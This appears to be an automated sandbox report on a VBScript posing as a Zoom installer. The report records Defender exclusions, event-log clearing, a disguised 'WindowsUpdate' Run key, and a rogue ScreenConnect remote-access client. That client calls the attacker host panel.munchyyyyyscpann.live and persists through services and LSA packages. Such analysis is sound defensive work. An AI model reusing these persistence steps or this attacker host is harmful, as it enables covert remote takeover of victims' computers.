Analysis
- max time kernel
149s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
23/07/2026, 14:25
Static task
static1
Behavioral task
behavioral1
Sample
Zoom_exe.vbs
Resource
win10v2004-20260513-en
windows10-2004-x64
30 signatures
150 seconds
Behavioral task
behavioral2
Sample
Zoom_exe.vbs
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
30 signatures
150 seconds
General
- Target Zoom_exe.vbs
- Size 27KB
- Sample260723-rrmelsbd84
- SHA256 96986991e6afc47c446c9f789014d6931ddc84d1f52257e77d8da915f985ed39
- MD5 0600f4f3def44de41f920511d203927f
- SHA1 c78b3a581f7dabadf3766be0b38235cb7dcd3821
- SHA512 4d16e62b40958645ed7f2b2bc11e59e3318755466e4070ac3e8656c37767e64deec9c5df4bcda6131ae9f5f08127a3f51ce242876b84cd99f72844edff828c66
- SSDEEP 384:TbhpFbNSWPy6vrdobdPSLHBldGpZtAY8pM5XxpheNK0vXc/PduhUOHSE5:T/FbNnPzSRZ5N4vc/Fuh1t5
- TLSH T102D224D953469AE0FD5C1E0EDAA5440220F3D6ACFA261189CE3159E33E33E85447DEBE
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Clears Windows event logs 1 TTPs 4 IoCs
pid Process 1628 wevtutil.exe 4492 wevtutil.exe 1604 wevtutil.exe 4224 wevtutil.exe - Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4844 wscript.exe 7 4844 wscript.exe 18 4844 wscript.exe 30 4844 wscript.exe 32 4844 wscript.exe 39 4844 wscript.exe 40 4844 wscript.exe 48 4844 wscript.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1036 powershell.exe 4496 powershell.exe 5016 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (d0fdeed3294016a6)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (d0fdeed3294016a6)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=panel.munchyyyyyscpann.live&p=8041&s=f50c2c14-08f0-4380-b6b8-6332850df8df&k=BgIAAACkAABSU0ExAAgAAAEAAQCpFELtUVjqFdXQRmLr%2fXrGdiSCqVQKdX1haAtUgQjjDZILzr0vR73mXrkeJaEeJAC98qTgFzXzVkAgALWFr2vHGuR9fy3zg3TDWjGGnk1afT8YvPkNMW8P4CXFhgtQGm%2fP4ueQr4kF2kh1cG8zzQV0%2fh%2fTkY74whERRw8TJJ9KgX9LPDbbjlrUtIjaFj0DPgmWbMRSvv0u6%2bA2KTCmybPbD8WG1liQlPVyNQ7yRQpXFcvCVOKB%2blgMjNfD4%2fFhWTScVfGgrUh61h72uf%2beqTSKJHGuMZRwXhx%2fFkuyEOn0RY0T0FcxpSMqcvrFxXRFGMzVjtpDkL0rIbzXm7LcgJmq&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAwe%2fDgWVlVEe1D%2f3p7FMw4AAAAAACAAAAAAAQZgAAAAEAACAAAAAdWCCxcAMrf9rRiPN6NCX9OxRL25s3V7JPOr9CkyGcWwAAAAAOgAAAAAIAACAAAABZdooOxTO2oja7JTHLCm2x%2fHfeiY7VtF5xwGQl6JsyxaAEAABeijBu9Lh11HbzTZpGZMV%2bsRRPSBg3gyeSoj1xPxNjnAeUx137ccJCS945AlXjhMIApzU%2fVPbMI9EWwXTgNQojEHOupo7NxcGL756ZhC3AVZ1ZlS6tdfH4JkjEq02%2bajQVeAkDghZ%2bKV4uW8lmCOlxkXYTuzITwZDt4WLgnmbgIwy3YHc0tmtdSsoolcHehV6UtWIGS7ElF4CypuTKdLKHV430g9iMXnbU8els9Mb2GEUPyBX6hmEWtIbrbKjBzix3cJ7%2bXFl0yfnlUjyK9Aoinb5F7Y1yvbfrbqW6HEb2pfoaz%2fg6e40ZRV7i7343FSRFOadsTf2rHeaOh9O6g6p2kfQ3ZVh5b4EX3sUdfwprEYZdgiOSSUv3Z573r5MWs4XpTvPDFH7jBAoqRY13cttSDJKFWPdK%2fuJ3rIZTmzCQMgIv%2fcMSJOUlzKLotD7K0K8%2b7WsquTFUvIA4By3qz0abStvKtjxizVeqL6P0tlNt9X5lsCcIE2mvnSvdB%2b0wU1NKiS4P7rUtx%2bBzCFYGWCBYFWdmb5TG9Da2JJnZGv7EcLYCVTpZiJmc02T6nAD9cYr8qxEafStgCJcST4rGBBPyHlugNgtqhprCeUzDxG7zjjPLvcN0CSenXyXv6WzPVY%2bQpWVcVd%2by2tYYTnQrmlY2bQ8aSFASVSXnMSkpgaUee%2bKLmxcMFhZ8gvcguljdTNh5%2bN55R920jOo0LrGHJLdUCWu5bCBLq7puH%2fmgrvkbEZqa8aTBHHzhjWQE%2bTNTLEremmfutmHDjWuDj9WQMjgyOfiQTbrHu7zM8U9HJJkDBMu8yKyd6jV22sx5Gnm7PXffqqKBVMgtd7K6ppTBCG85WasseuVL4XksOMZ6f78eJeVZdqfWuZ0x%2b8RxyzALz1VdTjymTgmcVDPLJykhWcXu0OenhwnDKQMmiV9hHmKj2SNnb1ROCoFPsMkiq1M6vIyBNm0ewsGqyWUQoZS2UdnxODmi0kb%2bI2IQyc6uUBNU%2f7geQXcVtn8kwD5o6FBRLQ46kTHIuwOTMhNUu6Wrh3RzuWyLl2LuT7ynnlCFsSjukx9%2fwCQw9WgX4%2bGJ5j%2fo37O%2bPFf85eKeQmyquqieN4hIZy1gMASHeDg%2b74%2b0IR%2b%2fy2Hs6t6a4cCI4p1ogpuMsdf1Ih%2bOUuWRDBCwpVu6MXE%2bx65DUg5zGPkGDb8wlmhrjQCOYnoUkMWRd7eRX5gDS5oumQGyej5WrPukVRO3AkDOXpiSbMtTrhQ68yBBwvK1bgW8fBGlqCZJNQygpowwdAA8%2bxOmt1drpmuQXJ9YHjjsVhZuuhFjVrGEA6GQM96kK1zSERbBmEQx%2fptsEVFIUDE9%2bc%2fEJFljQg2YItp8PwPig2pqk4YbQuNHwnFuPWdwT59W%2b4IJLbYhWXoH5Qv%2f28erETWhLRlkkOcK2Sjh2Hsv3QN%2fICELTrb8V%2bqvQ0DcobDtH3md3KxUqpzNhx8GXL7Q439oMWf29BRGUOZ0VUx3rBIpt5UT0DjHFvYkqfzDzUuTL%2f6hHXWusOGFTn3p9d9c%2fJUUF%2bkehe9i3gch%2fanlFceKTC51LdgChR1hri28dkAAAAAUkMjWuQBa9v7fskXITM%2fy8zqxLEuAUsnqiFFa9wIja2YAhnnCpW59cca%2fDCBYyFKfNKjcnz2T8%2bhtDTaI%2b4Ua\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 4 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral1/files/0x000600000001e442-108.dat revoked_cert_connectwise behavioral1/files/0x000300000001e0ce-143.dat revoked_cert_connectwise behavioral1/memory/3312-144-0x0000000004C30000-0x0000000004D02000-memory.dmp revoked_cert_connectwise behavioral1/files/0x001b00000001e08a-153.dat revoked_cert_connectwise - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation WScript.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 3 IoCs
pid Process 3312 ScreenConnect.ClientService.exe 5000 ScreenConnect.WindowsClient.exe 1076 ScreenConnect.WindowsClient.exe - Loads dropped DLL 22 IoCs
pid Process 3816 MsiExec.exe 4320 rundll32.exe 4320 rundll32.exe 4320 rundll32.exe 4320 rundll32.exe 4320 rundll32.exe 4320 rundll32.exe 4320 rundll32.exe 4320 rundll32.exe 4320 rundll32.exe 3816 MsiExec.exe 1204 MsiExec.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "msiexec /i \"%TEMP%\\~msi.tmp\" /qn" wscript.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800640030006600640065006500640033003200390034003000310036006100360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d0fdeed3294016a6)\lvba243j.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d0fdeed3294016a6)\lvba243j.newcfg ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log ScreenConnect.WindowsClient.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1416 WScript.exe 4844 wscript.exe - Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\system.config msiexec.exe - Drops file in Windows directory 22 IoCs
description ioc Process File created C:\Windows\Installer\e597bf1.msi msiexec.exe File created C:\Windows\Installer\e597bed.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.Core.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\CustomAction.config rundll32.exe File created C:\Windows\Installer\SourceHash{2C6E2AEC-CDC5-8871-9C9F-E3B94815B957} msiexec.exe File opened for modification C:\Windows\Installer\MSI8738.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8778.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.Windows.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\{2C6E2AEC-CDC5-8871-9C9F-E3B94815B957}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI7EDB.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI8844.tmp msiexec.exe File opened for modification C:\Windows\Installer\{2C6E2AEC-CDC5-8871-9C9F-E3B94815B957}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\e597bed.msi msiexec.exe File created C:\Windows\Installer\wix{2C6E2AEC-CDC5-8871-9C9F-E3B94815B957}.SchedServiceConfig.rmi MsiExec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4492 cmd.exe 4744 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Delays execution with timeout.exe 1 IoCs
pid Process 4664 timeout.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe - Modifies registry class 37 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CEA2E6C25CDC1788C9F93E9B84519B75\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6471DF56368596160DDFEE3D9204616A\CEA2E6C25CDC1788C9F93E9B84519B75 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-d0fdeed3294016a6\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-8725-F0B002EC8DE5}\ = "ScreenConnect Client (d0fdeed3294016a6) Credential Provider" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\Version = "402849799" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d0fdeed3294016a6\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\ProductName = "ScreenConnect Client (d0fdeed3294016a6)" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6471DF56368596160DDFEE3D9204616A msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\SourceList\PackageName = "fWK3FezRFc.msi" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-8725-F0B002EC8DE5}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\ProductIcon = "C:\\Windows\\Installer\\{2C6E2AEC-CDC5-8871-9C9F-E3B94815B957}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d0fdeed3294016a6\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CEA2E6C25CDC1788C9F93E9B84519B75 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-d0fdeed3294016a6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d0fdeed3294016a6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d0fdeed3294016a6\shell\open msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-8725-F0B002EC8DE5} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-8725-F0B002EC8DE5}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (d0fdeed3294016a6)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\SourceList msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d0fdeed3294016a6\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d0fdeed3294016a6\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-d0fdeed3294016a6\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (d0fdeed3294016a6)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\PackageCode = "CEA2E6C25CDC1788C9F93E9B84519B75" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CEA2E6C25CDC1788C9F93E9B84519B75\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-8725-F0B002EC8DE5}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3508 schtasks.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4496 powershell.exe 4496 powershell.exe 5016 powershell.exe 5016 powershell.exe 1036 powershell.exe 1036 powershell.exe 4524 msiexec.exe 4524 msiexec.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe 3312 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4496 powershell.exe Token: SeDebugPrivilege 5016 powershell.exe Token: SeDebugPrivilege 1036 powershell.exe Token: SeShutdownPrivilege 544 msiexec.exe Token: SeIncreaseQuotaPrivilege 544 msiexec.exe Token: SeSecurityPrivilege 4524 msiexec.exe Token: SeCreateTokenPrivilege 544 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 544 msiexec.exe Token: SeLockMemoryPrivilege 544 msiexec.exe Token: SeIncreaseQuotaPrivilege 544 msiexec.exe Token: SeMachineAccountPrivilege 544 msiexec.exe Token: SeTcbPrivilege 544 msiexec.exe Token: SeSecurityPrivilege 544 msiexec.exe Token: SeTakeOwnershipPrivilege 544 msiexec.exe Token: SeLoadDriverPrivilege 544 msiexec.exe Token: SeSystemProfilePrivilege 544 msiexec.exe Token: SeSystemtimePrivilege 544 msiexec.exe Token: SeProfSingleProcessPrivilege 544 msiexec.exe Token: SeIncBasePriorityPrivilege 544 msiexec.exe Token: SeCreatePagefilePrivilege 544 msiexec.exe Token: SeCreatePermanentPrivilege 544 msiexec.exe Token: SeBackupPrivilege 544 msiexec.exe Token: SeRestorePrivilege 544 msiexec.exe Token: SeShutdownPrivilege 544 msiexec.exe Token: SeDebugPrivilege 544 msiexec.exe Token: SeAuditPrivilege 544 msiexec.exe Token: SeSystemEnvironmentPrivilege 544 msiexec.exe Token: SeChangeNotifyPrivilege 544 msiexec.exe Token: SeRemoteShutdownPrivilege 544 msiexec.exe Token: SeUndockPrivilege 544 msiexec.exe Token: SeSyncAgentPrivilege 544 msiexec.exe Token: SeEnableDelegationPrivilege 544 msiexec.exe Token: SeManageVolumePrivilege 544 msiexec.exe Token: SeImpersonatePrivilege 544 msiexec.exe Token: SeCreateGlobalPrivilege 544 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeShutdownPrivilege 1204 MsiExec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe Token: SeRestorePrivilege 4524 msiexec.exe Token: SeTakeOwnershipPrivilege 4524 msiexec.exe - Suspicious use of WriteProcessMemory 19 IoCs
